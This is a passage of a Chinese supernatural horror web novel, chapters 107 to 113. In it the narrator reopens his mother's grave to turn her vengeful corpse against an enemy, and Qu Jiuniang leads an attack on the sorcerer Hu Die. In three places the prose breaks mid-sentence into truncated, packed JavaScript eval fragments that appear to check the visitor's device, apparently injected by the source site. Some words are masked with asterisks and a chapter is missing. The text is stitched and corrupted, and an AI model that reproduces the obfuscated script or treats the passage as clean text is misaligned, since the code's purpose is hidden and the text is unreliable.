那就意味着,即便是我们离开了,我把一样要做个疯疯癫癫的人,随时可能被陈棺生控制,威胁? 心,又堵住了一丝,久久都难以平复。 过了半小时左右,爷爷端着一番粥饭进来了。 香肠和腊肉切丁,混着红白萝卜,花生米,青菜头,绿菜叶子,馥郁的米香菜香肉香混杂在一起,我是真饿了。 顾不得烫,我哧溜哧溜的顺着碗边沿喝粥。 没有同爷爷说我思考的问题,他或许现在想不到那么多。 这件事情,和瞿九娘说,恐怕都说不清楚。 得我自己来。 至少……得尝试。 瞿九娘看似分析的一切合理妥当,可唯独有一点不合理,也就是我不能接受的地方,就是除了我,她其实可以牺牲掉我爸,甚至我爷爷的命! 很快,我就填满了肚子。 “再吃点儿吗?”爷爷问我。 “饱了爷爷。”我笑了笑回答。 爷爷接过空碗筷,又朝着屋外走。 我没有再在床上窝着,起身,顺着出了屋外。 空旷的院落充满尘沙,我没瞧见瞿九娘和苟驹。 “他们人呢?”我顺口问了爷爷一句。 “不知道,不过,九娘应该有她的打算,应该是想办法,怎么能让我们安然无恙的出去了吧?”爷爷回答着,将碗筷放进一口锅里,端着往井边走。 我听到了一阵呜呜声,还有撞击声。 顺着这声响,我朝着这大院的另一侧走去。 爷爷抬头张望,他神情显得十分憔悴,没有跟过来。 我停在声响传来的一间屋子前,整个人都怔住了。 铁锈斑驳的栅栏,取代了屋门。 阳光很明媚,照射在屋内,这就是个空空荡荡的窑洞房间。 一个人斜靠着栅栏门,一手吊在栅栏上,嘴里呜呜哼着,还用头不停的撞着栅栏。 他一侧脑袋能瞧见斑驳的伤痕,结痂了又长好,又被撞烂。 胡子拉碴的脸,脏兮兮的内外眼角,眼珠子显得分外浑浊。 这哪儿像是先前的我爸,能够磨刀霍霍杀黄牛,能够当机立断的给装成老鳏夫的胡蝶下毒? 此时此刻的他,狼狈到了极点,惨然到了极点。 我心颤,眼眶都微微泛红,眼泪都顺着眼角淌了下来。 “棺生?”哆嗦的话音响起,我爸勉强的扭过头来,怔怔看着我。 “棺生……你靠近过来一点……过来一点……” “你可算回来了……爸被瞿九娘害惨了……她有问题……你爷爷被骗了,你也被骗了……你过来……爸和你说……” 我爸前一刻都是浑浑噩噩的,这一瞬,竟然是清醒过来,他眸子中更带着一丝恐惧惊悚。 我心里又突突一跳。 不过,我没有靠近过去。 先前在村里的经历,只是让我粗略了解了一个充满光怪陆离的世界,去回水湾虽然只是卢家的事儿,但接触到葛家,以及再回到黄渠村,让我清楚了,很多事情都绝对不是眼前所见的那样。 我抿了抿唇,一直看着我爸。 “棺生?你怎么不过来啊?爸都要被瞿九娘害死了!咱们全家,都要被害死了!”我爸显得焦急万分,他双手死死抓着铁栅栏。 “我过来,你就要掐住我脖子,对吧?” “陈梁生,你能有点儿新鲜招数吗?”我哑声说:“你真的没良心。” 第107章 杀人偿命,欠债还钱 我没有那么蠢,我爸说什么就会信什么。 我更没有那么蠢,会觉得我爸忽然就清醒了。 他魂魄有一丝在陈梁生的手中,根本就不可能自己清醒过来的。 只是我心中对陈梁生的厌恶,变得更深。 我爸冷冷的看着我,他神态和先前截然不同。 随后,他嘴角勾起了一丝笑:“你回来了,你就走不掉,你以为自己很聪明,实际上,你很愚蠢。” 我摇摇头,回答:“是吗?良心这种东西你没有,所以我做的事情,你认为是愚蠢。” “你以为自己很聪明吧?其实,这才是愚蠢,像是个小丑一样,反复的在我爸身上横跳。” “你不是火神庙的庙祝吗?看看现在的黄渠村,成了什么样子,你这个庙祝,又在什么地方?”接连三句话,我字句凿凿。 我爸不说话了,他的眼神变得呆滞,木然,傻笑,哈喇子从嘴角淌了下来。 “儿子回来了啊。” “儿子……” “不……你不是我儿子!我儿子是梁生呢。梁生!梁生!” 我爸扯着嗓子,就嗷嗷大喊。 爷爷早就不知道什么时候杵在我身后,眼神变得极度复杂,脸上极其苦闷。 “别接触你爸了,得等到咱们把他的魂魄抢回来才行。”爷爷低声说。 我轻吁一口气。 还好,爷爷细节上的表现,是在意我爸的。 并没有和瞿九娘一样,打算暗地里放弃我爸。 “多去歇会儿吧。”爷爷提醒我。 “没事,爷爷,我去之前那个土窑洞里待一会儿。”我勉强一笑。 “别进村。”爷爷叮嘱我。 “放心,我不会意气用事的。”我回答。 随后,我走出了这方院子。 其实还有一个细节,奶奶的尸体,我没看见。 不过瞿九娘肯定妥善安置了,不会有问题。 爷爷并没有跟上来。 很快到了先前的土窑洞里,这里安安静静,自打我们上次离开过,就没人进来了。 静坐在桌旁,我思绪沉闷,考虑的只有一件事儿,就是我爸的情况。 至于村子里的其他问题,瞿九娘会分析,出黄渠,也有苟驹。 唯有我爸的魂魄,无人会管。 想要将他夺回来,我就得面对陈梁生。 面对陈梁生,就意味着,可能要接触到锁龙井里的凶尸? 毕竟村子出现那么多情况,陈梁生居然都没有插手,甚至让奇门遁甲完成了。 绝非胡蝶掣肘了他。 应该是他还是受到锁龙井凶尸的影响或者压制? 我绞尽脑汁思考了半天,都没有想到一个合适的主意。 因为,就算是单独面对陈梁生,我都发现自己居然没有胜算? 手握紧成拳,一时间,我内心又油然而生一股无力感。 葬经百解,我看完了啊! 难不成,要对付陈梁生的手段,得在神相千壳中? 不,不可能的…… 葬经百解已经是老陈家一半的法门,时至今日,我也就耳闻了几次算卦,听过瞿九娘明确说算卦一次,大部分我所认知,所接触的,都是风水术! 因此,风水术绝对没有那么弱! 对付不了陈梁生,一定是我自己的问题! 一个人真的无能起来,就算是给他尚方宝剑,都只能用来劈柴烧火。 风水,上要能观山测水,下要能知命设局,就好比一个浅显的道理,杀人偿命,欠债还钱。 我脑袋里,嗡的一下定格四个字,杀人偿命! 腾地一下站起身来,我走出了土窑洞,差点儿就和爷爷撞了个满怀。 “棺生,你怎么了?着急忙慌的?” 我双手一把抓住爷爷的肩膀,手微颤,眼中透着一丝激动。 “爷爷,谁杀了我妈?” 爷爷愣住,半晌才反应过来。 “那个怨种啊。”他回答之余,眼神显得茫然:“棺生,你怎么会忽然问这种明知道结果的问题?你怎么了?” “杀人偿命,欠债还钱。村里有没有人杀过人,最后被人报复的?或者被鬼报复的例子?”我再问爷爷。 “……有啊……早几年,村里有个屠户偷人,然后和那个贼娘们一起,把娘们的男人害死了,两人双宿双栖,没多久,屠户被猪吃了,警察把猪拉去解剖了,从猪肚子里还发现那娘们男人的手脚,还以为是一头猪吃了两个人。” “结果没过多久,那娘们在家里睡着,先被猪拱了,又被啃掉了脸,最后疯疯癫癫钻进猪笼里,自己把自己溺死。” “全村都晓得这回事儿,知道是娘们男人回来报复,让奸夫淫妇付出了代价。不过对外公布的警方调查结果,都是意外。” “至于欠债还钱……”爷爷正思索着呢。 “够了爷爷!”我松开了手,哑声,一字一句说:“如果瞿九娘和苟驹回来,他们要有什么行动,都要等我回来之后,如果他们问我去哪儿了,你就说不知道,但是我天黑之前一定会回来,明白了吗?” “棺生,你可千万别乱跑啊!”爷爷吓了一跳。 “我不乱跑,有些事情,我得弄的更明白一些!这关乎着咱们一家人的生死存亡!我对老陈家没有归属感,因为我只是陈家的儿子,陈家的孙子,我的陈家,就是爷爷,还有我爸!奶奶死了,我妈死了,咱们一家人,必须得整整齐齐,安然无恙!” 我这一番话,说的爷爷满脸迷惘,更哑口无言。 随后,我迈步朝着村子的方向疾走。 “棺生!你别乱跑!”爷爷反应过来,在后方跺脚,不停的喊我。 我没驻足停顿,速度更快,几乎撒丫子狂奔! 白天的村子,尤其是被破掉奇门遁甲之后,村路上有些人在零零散散的走动了。 还有人在清扫自家院门,那些村民的神态木然,还有些人噤若寒蝉。 明显,这段时间村子的变化,切切实实的影响在每个人的身上。 我先跑回我家,拿起铲子,紧接着找到平日里练习毛笔字的笔墨纸,再出门,径直朝着后山跑去! 阳光好大,我的心却好冷,又带着一股子颤,我的影子,被拉得好长好长,脑子里更嗡嗡作响,回荡着我爸和我说的一些话。 全都是关于我妈的一切。 终于,我到了后山脚下! 第108章 画地为界,阴宅有鬼 上山,寻坟。 烈日炎炎,可一点儿都不热,冬末的温度很低,空气甚至冷的似是刀割,尤其是在这山顶,更是如此。 很快,我就找到了我妈的墓碑,坟头显得很新,因为她诈尸闹鬼,那种新,还带着一丝阴气森森。 我开始挖坟。 一铲子一铲子撅起夯实坟土,很快,坟头被我铲平! 这坟很浅,当表面泥土被我全部挖掉后,没多久,我就挖到了棺材。 清理掉棺材表面的所有泥土,随后,我撬开了棺盖。 阳光晒在我妈尸身的脸上,白天,她不像是夜晚那样,皮肤上覆盖着一层血色的绒毛, 是正常的青白色,就是那种死尸色彩。 问题的关键,就是这里了。 杀人偿命,欠债还钱! 为什么,我妈只是一直在找我? 按道理来说,对,我是棺生子,她十月怀胎,最后七七四十九天,在棺中临盆。 就连老鳏夫都判定,必须要镇住我妈,否则她一定会来找我。 可是除了找我呢? 为什么,她不找陈梁生报复?! 归根究底,害得她只能棺中临盆的,是陈梁生! 归根究底,我身上带着一口没有散去阴气的原因,也是陈梁生! 是陈梁生破坏了老鳏夫的计划,让阳气提前冲撞我的身体,其实,我算是四十八天临盆才对。 我目光在棺材内部扫过,四面棺壁上并没有发现什么东西。 心下一沉,我跳进了棺材里头,抓住我妈的肩头,将她整个尸身搬了起来,她身体太僵硬,导致只能站起,而不是在棺材里坐着。 这也好,她站在棺材尾巴处,相当于整个棺底都曝露在我视线中。 我这才瞧见,棺材最底部,有一道符,符文极其复杂,大多我是看不懂的,虽说风水术都是殊途同归,但是这符,不像是风水方面的存在。 老鳏夫绝对没有给我妈棺材里留过符,不然的话,我爸一定会告诉我! 那就只剩下一个可能性,陈梁生! 陈梁生就是用这一张符抑制了我妈的部分行动,让她只是注意到我,忘记了他! 毫不犹豫,我直接撕扯掉了符! 当这张符消失的那一瞬,我明显感觉到棺材里冷了许多,不光如此,符下边儿,居然还有一卷小小的符包,我捡起来之后打开,是几枚剪下来的指甲。 阴影骤然袭来。 我反应过来的瞬间,身体陡然窜出棺材。 刚上坟土,哐当一声闷响,我妈的尸身重重砸在棺材内部。 饶是这艳阳高照,阳气充沛的天,她的眼睛居然睁开了。 血红的一双眼,似是泛着泪花,泪花又全是血红! 白日血泪,是好大的冤屈! “妈,有仇报仇,有怨报怨,儿子没有躲着你,儿子只是知道你身不由己,你只找儿子,是有原因的,你放过了仇人,一样是有原因的,对吧?” 我心头微颤,话音都带着一丝丝哽咽。 自然,我妈回答不了我。 随后,我又做了一件事儿。 我拿出来了从家里带出来的笔墨,在纸上写:“阳年,大阴,太岁,大耗,小耗,勾陈,绞神。” 随后,我在下方画了一道符。 这道符叫做亡人划界,在阴阳术中属于契约的一种。 古往今来,活人有地契,房契,死人阴宅,一样有契。 契所划分之地,死人安眠之所,若有冒犯,受风水冲撞,甚至死尸白日阴宅逞凶! 符上方的字,是六凶神。 我妈本身就是犯凶而死,属于产死厄难,她诈尸成煞就充分说明这一点。 六凶神再冲撞一下,煞上加煞,凶上加凶! 再加上这契符的作用,陈梁生绝对不可能再靠近她的坟茔,对她尸身做任何事。 我拔掉他遮掩自身的符,我妈要找的就不只是我了,找我是本能,找陈梁生,更是血债血偿! 六凶神,会让她更难对付! 我将符纸贴在棺材头的内侧,完事儿的一瞬,忽然狂风大作,右侧的棺盖,轰然一声居然自己倒卷回来,重重的盖了上去。 阴气更凶,更浓郁。 我赶紧往回铲土。 不多时,坟头再度被垒砌起来。 粗眼一看,这坟包大得惊人,甚至阳光下都泛着血色。 我不敢停顿,朝着下山的方向疾走。 临了,我鬼使神差的往后看了一眼,却瞧见棺材前边儿,悄无声息多了一个人。 那赫然是我妈。 大白天的,她当真出现了,蹲坐在墓碑前梳头。 这会儿,还绝对没有到正午能见鬼的那一瞬。 我的符,有用! 只不过,我妈能出现的范围很窄,这种白天,也就是她的坟界内,她能现身。 坟在风水上的说法,叫做阴宅,是死人的房子,死人房子,死人任何时候,自然能够自行活动。 速度不敢减缓,我很快就到了后山脚下。 紧接着,我朝着村方向走去。 走着走着,我就发现有人在后边儿跟着我了。 那是个看上去普普通通的村民,他急匆匆的,显得很急。 我正想跑,他却甩开腿先撒丫子跑了起来。 挖坟掘土用了不少力气,我没跑过他,很快就气喘吁吁停了下来。 那村民面不红气不喘,他挡在我前方几米,又迎面朝着我走来。 我额间冒出细密的汗珠。 不认识这村民是其一。 其二,我知道他绝对有问题! “小陈!”另一头,忽然传来了熟悉的大喊声,从一个院落中,走出来个人,不正是苟驹吗? 这会儿,苟驹肩头跨着两条麻袋,前边儿麻袋里装的是鸡,鸡脖子冒出来一截,冠子红艳艳,后方那麻袋里是大鹅,又长又壮的脖颈高昂着,发出刺耳干哑的叫声。 “苟叔!”我同样喊了一声。 那村民却没有直面靠近我,他从我身侧擦肩而过,瞥着我的余光,却带着一丝阴沉。 苟驹大步朝着我走来。 我警惕万分的盯着那村民,没有敢放松警惕。 三两步,苟驹就走到了我面前,他显得很奇怪,问:“你怎么进村了?你不应该躺在床上休息吗?” 随后苟驹抬头,瞅着斜前方:“咦,刚才不还有个人吗?盯着你似的,人呢?” 第109章 生生相克 先前我叮嘱了爷爷不少,让他和瞿九娘,苟驹交代的话,却完全没想过,居然会在村子里和苟驹碰面。 我视线同样定格在一个方向,苟驹没注意,那人闪进了一个小巷子里,这才不见了踪影。 是陈梁生派遣来的人? 还是说……他是胡蝶? 如果是后者……那胡蝶就是换了一张新的皮? 脚步声再度响起,先前苟驹出来的村民院子里,又走出来第二人,正是瞿九娘。 瞿九娘盯着的方向,一样是我们看着的方向。 “棺生?你为什么进村了?”瞿九娘皱巴巴的脸上,带着一丝疑问。 “我……” 话到嘴边,又咽回去一半。 “白天的时候,村里没有多大事儿,我只是想进来看看,奇门遁甲有没有被复原。”改口,我没有说实话。 瞿九娘不会答应救我爸那一缕魂的。 对她来说,那是横生枝节。 因此,我不能告诉她,我动了我妈的坟,让我妈去针对陈梁生。 “他看不住整个村子。”瞿九娘摇摇头。 “是呢。”苟驹附庸道:“就像是咱们,这会儿要是想撤,村里没人能拦得住,就是撤不了,小陈你的鬼婆娘还得弄回来。” 我沉默无言。 的确,真要走,就和我们来时一样,直接到后山脚下的河道就行了。 光天化日的,陈梁生使不了什么坏手段,胡蝶一样。我和苟驹也就是被奇门遁甲挡住,又遇到了黄皮子。 目前,仙家的危险反而更大? 我刚这样想着,瞿九娘却径直再朝着一个方向走去。 苟驹跟上她之后,我也立即跟了上去。 不多时,我们一行人又停在了一家院门口。 瞿九娘上前去敲门。 咚咚咚的声响中,门开了一小条缝隙,露出一张稍显畏惧的村民脸。 瞿九娘皱巴巴的脸笑了笑,低语几句。 她这话是说,村子里大仙儿肆虐作乱,她心有所感,特来要一些东西,驱赶大仙儿,还村子一个安宁。 那村民咽了口唾沫,狐疑的扫视着瞿九娘。 随后,他又看向苟驹,明显眼中闪过一抹陌生,最后视线落在我脸上时,他眼皮都不停的跳。 犹豫徘徊了半晌,村民才说:“你要啥子嘛?总不可能要钱涩?” 瞿九娘是守村人,村里多多少少对她有些生畏。 “你家的狗。”瞿九娘开口。 “这……”那村民一时间更不自在了。 “喊你给你就给,要老子进去自己迁?” 只听哐当一声,苟驹的卜刀重重插在了门上,他速度太快,刀几乎立在村民的脑袋旁边儿。 那村民脸都被吓白了,他赶紧转身进院子。 也就两三分钟,一条狗绳到了苟驹手里头。 苟驹却从怀里摸出来一个钱夹子,抽出来千八百块钱,塞进那村民怀中。 看似是抢,实际上是买? 村民没反应过来,苟驹已经拉着狗绳后退好几步,从院里头被牵出来的,是一条**光锃亮的**! 这狗是典型的五黑犬,不光是嘴皮子,哈气吐出来的舌头都是黑的。却对我们很友好,不停的甩着尾巴。 随后,瞿九娘又朝着另一个方向走去。 这一次,我们在村里走的略久了一些,总算瞿九娘停在下一个村民屋门前,她讨要了一只猫,没有丝毫杂色,纯黑色的猫。 这家人态度要好得多,苟驹没上手段,甚至猫是白送的,还装在一个小铁笼子里。 苟驹已经没手去拿笼子了,我便上前拿了。 不知觉间,早已过了正午,阳光极其刺眼。 “够了。”瞿九娘说。 “这些就成了?”苟驹舔了舔嘴角,他脸略显得紧绷。 “走吧。”瞿九娘又说。 她再度在前方带路。 我斜睨着苟驹挂在身上的鸡鹅,牵在手里的狗,又看一眼自己提着的猫。 瞿九娘要做什么? 当然,我这会儿不好打断她多问,就仔仔细细的看着。 在苟驹那里,我最多是接触到和风水有关的事情,可瞿九娘算是和我师出同源,她做任何相关的事儿,对我来说都大有裨益。 可没想到,瞿九娘最后带我们两人,居然回了我家院子。 院门是敞开着的。 开门的是我妈,她早已成了凶尸,自然是不可能礼貌的关门。 进院后,瞿九娘反手关上门,示意苟驹将鹅和鸡,以及狗放开。 苟驹照做。 “猫呢?”我下意识问了句。 瞿九娘没回答我。 就在这时,发生了让我格外震惊的一幕。 苟驹刚解开装着大白鹅的蛇皮口袋,那鹅扑腾一下蹿出来,双翅猛然张开,它脖子更是前伸着,往前冲之余,爆发出短促尖锐的嘎嘎声。 它冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这只鸡活了得有**年,犬无八年,鸡无六载,它早就通人性了,鸡又叫司晨,更破邪气,尤其是这种年份的鸡,宛若民间凤,更震慑柳仙。” “五黑犬克制白仙刺猬,这只玄猫能对付灰仙,一样能针对柳仙。” 我这才反应过来,瞿九娘是在教我对付仙家的本领,驱散了一切杂乱思绪,仔仔细细的听着,并记在脑子里。 第110章 只做一件事 “阴阳有相生相克,风水如此,人或者牲畜,一样如此,你懂了吗?”瞿九娘问。 我眼皮微跳着,心头的思索却深了几分。 看似她教我用村里常见的家禽猫狗在针对精怪仙家,实际上,她还在点我,是让我要学会举一反三? 关于葬经百解,我该看的都看了,我该知道的,都知道了。 只是,我就像是一个空有宝山,却不知道如何开辟的人。 “懂了,没有全懂,太深奥了,我需要一些时间。”我慎重回答。 “你当然需要时间,这个时间,本来是三年。”瞿九娘说。 我不自然的摸了摸头。 “九娘,小陈不也是担心你们的安全问题吗?那什么,这段时间我和小陈接触的,他很可以的,老谋深算,说实话,要不是进了一趟黄渠村,他才暴露了一点儿手段欠缺的地方,真待在回水湾,嚯,他那气场,谁能知道是个初出茅庐的小先生?谁都以为他本事大得很哩。” 苟驹的注意力从猫狗鸡鹅的身上挪开了,看向瞿九娘,帮我打圆场。 “他担心的是老陈头和陈勇的安全问题,并不是我这个糟老婆子的。”瞿九娘再度开口,让气氛陷入了一定程度的僵持。 “咋个可能?”苟驹干咳,又笑了笑。 一时间,我再度沉默。 瞿九娘说的错了吗?没有。 我首要担心的的确是爷爷,我爸,其次我才想过,如果黄渠淹没了整个黄渠村,瞿九娘才可能会死。 否则在其他情况下,瞿九娘肯定有本事保命。 甚至,就算村子被淹没,她都有本事上后方的蟾山?当然,这都是我内心的揣测罢了。 我的安静,无异于是默认这一点,本身,人想要真真切切撒谎的难度,就很大。 苟驹一下子不说话了,他有些举手无措。 “我也不是在救他,我,是在救整个老陈家的香火。”瞿九娘再道。 随后,瞿九娘朝着一处房门走去,那是厨房的门。 很快就传来声响,还有烧火的味道,居然是瞿九娘在煮饭? 我一下子就想透彻了,她是不打算回到黄土坡了,就在我家,暂时将这里当做落脚点。 天黑之后,我们身边有这些牲畜,就能够避免那些仙家的包**击,从而直接去找胡蝶算账,抢魂? 瞿九娘未必不是胡蝶的对手,当日胡蝶还有老鳏夫皮的时候,就是她控制了爷爷,直接将老鳏夫从身体里打出来了。 当然,和我去了那里有一定关系,和老鳏夫的血尸在那里,关系一样不小。 可这依旧能充分说明,瞿九娘是能对付胡蝶的! 只需要,摒除一切外在威胁! 苟驹在院里头晃荡,他许是刚才太尴尬了,也没和我说话,走到井口旁边后,又往里瞄着。 “呵,稀奇了,杀了那两个水尸鬼,居然不见了,看来是它们的同伴给拉回去了?” 苟驹看似是喃喃自语,实际上,却依旧是给我说。 我这才反应过来,地上水尸鬼的尸体消失不见。 “或许吧。” 我答了一句话之后,就去找了一个笤帚,开始清扫院中的落叶,以及乱七八糟的东西。 大鹅已经从我房间出来了,脖子极其高傲的扬着,口中还闲着一个被啄死的小黄皮子。 那五黑犬倒是这样,咬死大黄皮子后,就置之不理,我其实还以为,它可能将其吃了? 当我将院子打扫了一遍后,又去清理自己房间。 没有了符催动生气,屋子里的异味儿暴露无遗,真的是骚臭到了一定程度,让我脑瓜子都嗡嗡的。 还好,家里脏的只是明面,很快就清扫干净。 瞿九娘恰巧从厨房里出来,端着三个海碗的面条。 “花生米有吗?”苟驹问了句。 瞿九娘没多搭理他,我则去厨房里找出来一小包花生。 随后,瞿九娘又进厨房,端出来几只碗, 她不光是给我们煮了饭,更给大白鹅,鸡,五黑犬,甚至那条黑猫准备了食物。 当然,猫被她从笼子里放出来了。 那猫并没有跑,一遍吃东西,一边抬头,瞅着我们,那眼神活灵活现,像是在思索着什么。 “胡蝶两种手段,其一,你看似是风水术,可是更多的,是宅术,他的本事大部分在宅子上,或者是针对性的对付人。其二,他养了一只膏肓鬼,能往人心里头钻,让人看到最害怕的东西。”瞿九娘又开口了。 苟驹一口酒,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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良久,她才说:“好好出去,就能好好活着,老陈家需要你活着,所以,对付了胡喋,拿回来白姝灵,我们接下来就是去黄渠放魂,你不要添乱,明白了吗?” 我心里咯噔一下。 总觉得,瞿九娘好似看穿我内心想法了一般。 若非如此,她又怎么会提醒我,只做这一件事情? 第111章 两把刀 我嗯了一声,神态没有露出丝毫异样。 我当然清楚,活着才有机会。我也更清楚,自己的计划意味着什么。 我真的不想,也不愿意,一辈子被人牵着鼻子走了。就这样按照瞿九娘的计划出去,是,人是活下来了,爸却相当于不要了。 就像是我和陈梁生所说,良心这种东西,他没有。我要是也没了,那我和他本质上又有什么区别? 思绪间,我一点点的继续看葬经百解,更深刻的记下其中内容。 并且,我脑子里十分活络,是在思考整个村子的布局,思考火神庙附近有什么东西,甚至我还在思考,如果上了蟾山,怎么样最快到白蟾庙? 陈梁生其实没有那么可怕,他只是过于阴损,总是在背后暗箭伤人。 白蟾庙的凶尸虽然可怕,但他实际上,会被困在锁龙井中。 我渐渐有了几分懊恼,自己只是将陈瞰山的铜钱带出来了,实际上,应该还带上那套笔墨砚台,以及龟甲。 先前我对葬经百解的了解始终不太够,通过瞿九娘的提点,加上这两天经历,融会贯通了一些,我才明白,它们的作用,都不容小觑。 事已至此,多想这些就无意义了。 不知不觉间,天色愈发暗沉,黑夜降临。 瞿九娘做了一件事儿,她摸出来四张黄纸,咬破手指,在上边儿花了几道鬼画符。 她的本事应该不光是老陈家的,至少这鬼画符我的确不认识,和风水不搭边。 对,瞿九娘先前还敲锣呢,那也和风水不搭边。 画好了符后,瞿九娘将符纸折叠起来,又用红绳拴住,挂在了老鸡,大鹅,五黑犬,玄猫的脖子上。 这些东西当真活久了通灵性,并没有像是寻常家畜一般躲避瞿九娘。 随后,瞿九娘摸出来一个比巴掌略大一些的铜锣,迈着步走出我家院子。 铛的一声,是锣棰敲在了铜锣上,刺耳的锣声在夜空中响彻。 随之,另一个刺耳的话音更在村路上回荡不已。 “戌时昏黄,归家守宅,活人回避!” 苟驹和我走得很近,他这会儿酒还没彻底醒,也因此,整个人都显得有些亢奋。 “九娘婶子还有打更的本事?这么稀奇?” 打更这两个字,本身不稀奇,我在电视剧里经常看到,什么天干物燥,小心火烛。 只不过,瞿九娘用出来的,肯定不简单。 否则苟驹就不会这般神态了。 我对此不了解,就只是微微点头,没有多说多话。 锣声夹着话音,一直持续在村路上回荡。 这其实还好,奇特的是那大鹅和老鸡,一个摇摇摆摆,摇头晃头的走在我们左前方,一个雄赳赳气昂昂的走在我们右前方,五黑犬几乎并在瞿九娘的腿侧,至于那同样皮**黑亮的玄猫,则在另一旁的院墙顶上跟着,没有落下半步。 更甚至,它们好像是在带路? 在村路上走了约莫十几分钟,瞿九娘的锣敲了至少得有二十下。 没有大仙儿出现! 先前进村时,村子给人的感觉,简直是乌烟瘴气,牛鬼蛇神一抹多,此时此刻,夜晚却分外静谧,祥和一片! 瞿九娘对风水的理解和运用,堪称神奇! 终于,我们停在了一个院子门前,这并非是老鳏夫家住的院子,矮小的篱笆院内,是一个土屋,在土屋的右前方靠路边的位置,还有个巨大的草垛。 这里,才是胡喋的家! 土屋我进了不止一次两次,此刻,屋门紧闭着。 脏兮兮的窗户,隐约透着一些烛光。 嗬嗬的咳嗽声从屋内传了出来。 “瞿九娘,拈花圣姑。”粗哑的声音又带着一丝丝阴细,的的确确是胡喋的声音。 “咱们同在一个村,用先生的话来说,也算是在一个屋檐下了,皮给我扯了,事情给我破坏了,你还非要赶尽杀绝吗?”胡喋阴沉沉又道。 我心头突突跳动。 这和我想的不一样,本来我认为,是直接冲进去,不由分说,对胡喋用强硬手段,没想到,胡喋直接告饶? 是我破了奇门遁甲,外加瞿九娘的这一番手段,让大仙儿不出,直接震慑了胡喋? “你要是安分守己,我们自当井水不犯河水,可这村子里的混乱,你很清楚,仙家为什么缠上陈棺生,你更清楚,还有,白姝灵去哪儿了,你再清楚不过。”瞿九娘淡淡回答,语气冰冷极了。 吱呀一声轻响,木门居然开了。 脏旧的屋子里,摆着一张被污垢弄得发黑发亮的老木桌,桌上点着一盏油灯,火苗不停的升腾燃烧,还发出轻微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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啪的一声轻响,居然又是一柄卜刀插在地上。 说实话,我不知道苟驹什么时候开始背着手的,在回水湾呆了那么久,我更不知道,他居然有两把刀? 显而易见,他刚才真的准备杀了胡喋! 但凡胡喋走出来,一定是人头落地的下场! 迈步,我就要朝着屋内走去。 第113章 祸害位 我脑子嗡嗡作响,脑袋里的血都在烧,烧得我胸腔闷堵,更烧得我一口逆血像是要涌上来。 后退的步伐,再顿! 我恨不得现在就一步上前,寻龙分金尺一下子敲烂他的头! 尺子是铜做的,胡喋的脑袋是血肉,这一尺子下去,他必然头破血流,哪儿还能刺小人!? 他就是在激怒我! 先前的激怒,被我反应过来了。 他再度激怒,还是要让我去拦他! 拦他,必然出事! 不能拦! 我猛地回转身体,朝着另一个方位疾走! 走的位置,是正东! 身上鸡皮疙瘩一直冒出来,冷汗更是从四肢百骸一直蹿。 另一个清明的感觉流淌自心头。 要抛却表象去看本质,这里最麻烦的问题,不只是鬼的问题,本质是胡喋。 胡喋在绝命,看似是绝命能杀瞿九娘。 可绝命,真的只是杀瞿九娘吗? 若我靠近他,他还能借着方位,这宅杀风水,对我也形成一种杀招呢? 他那么迫切,我必然不能遂了他的念头! 再透过这一切,去看最本质的东西。 祸害在正东! 镇住正东,此间宅杀的风水,就会被镇住! 顷刻间,我走到了正东方。 这里没有房间的门,只有一棵树。 只不过,这棵树不一般,树上拴着红绳,树根下粘稠湿润,靠近了之后,才透着一股子浓郁的血腥气,就好像浇树的不是正常水,而是血! 呼哧的脚步声自后方而来,我余光瞧见了胡喋,胡喋在朝着我迫近,他手中没有拿着小人了,神态分外凶狠。 并且,他还没有开腔吭声。 那架势,就是要上前打杀了我! “东为祸害,祸害为宅主,方位种木,木为生,祸害生生不息,你有病,你久病不愈,人却不死,你有问题,你没有夺舍我之前,你靠着这棵树续命!”我本来是在分析,此刻,我声音大得惊人,甚至连我自己都觉得耳朵生疼! 下一刻,我双目圆睁,还是没有回头,依旧是余光看着胡喋,双手却紧紧握住了尺子,我狠狠发力,朝着树根部位置将尺子扎了下去! 开始感受到了阻隔,是下方有根。 随后,那阻隔破了,我像是听到了噗嗤一声。 再然后,我真就听到了噗嗤一声。 胡喋本来都冲到了我身旁,他噗的一口,喷出一大片血来。 血,浇灌了我半个身子。 胡喋瞪大了眼珠子,满眼的不敢置信。 就像是我不应该能找到这个位置,不应该能做出这一系列行为。 随后,他砰的一声栽倒在地上,像是**一般,动弹不得。 我粗重的喘息着,太阳穴突突的跳动个不停,手还是死死的抓着尺子,没有松开。 胡喋距离我很近,我抬腿,一脚踹在他胸口。 他身体硬得很,哐当一下倒在了地上,发出沉闷声响。 **? 我冒出这个念头。 祸害是胡喋,镇住了祸害,胡喋就**? 我视线从胡喋身上看至院子进来的那个门帘处,瞿九娘还没有过来。 还是出了偏颇,因为这方位**喋利用续命,因此我只是镇住他,没有让那膏肓鬼失去行动力? 本来,我想去前屋,去帮瞿九娘。 可不知道为什么,我又有种心惊肉跳的惧怕感。 胡喋这种人,就算是**,他能死的安分吗? 还有,经过卢家那回事儿,我被人拿走寻龙分金尺,这深刻的给我涨了记性,绝对不敢让法器离开视线中。 默默告诉自己,没事的,瞿九娘有的是本事,她若是没把握对付膏肓鬼,又怎么可能敢让我一个人进院? 想清楚这一切,我蹲身下来,先凑到胡喋身前,伸手探了探他鼻息。 胡喋的呼吸很微弱,没死,也像是个快死的人。 伸手捏住胡喋的脸皮,往上拽,轻而易举就要被拽起来了,还发出粘稠的吧嗒声,内心都涌上来一股恶心。 这其实是村民的脸皮,胡喋披上了另一张人皮。 还没等我松开手,脸皮居然烂了,曝露出胡喋本身那几乎溃烂的皮肤。 距离太近,我闻到了一股难闻的肉味儿。 一个激灵松开手,我没动胡喋的身体,开始刨地! 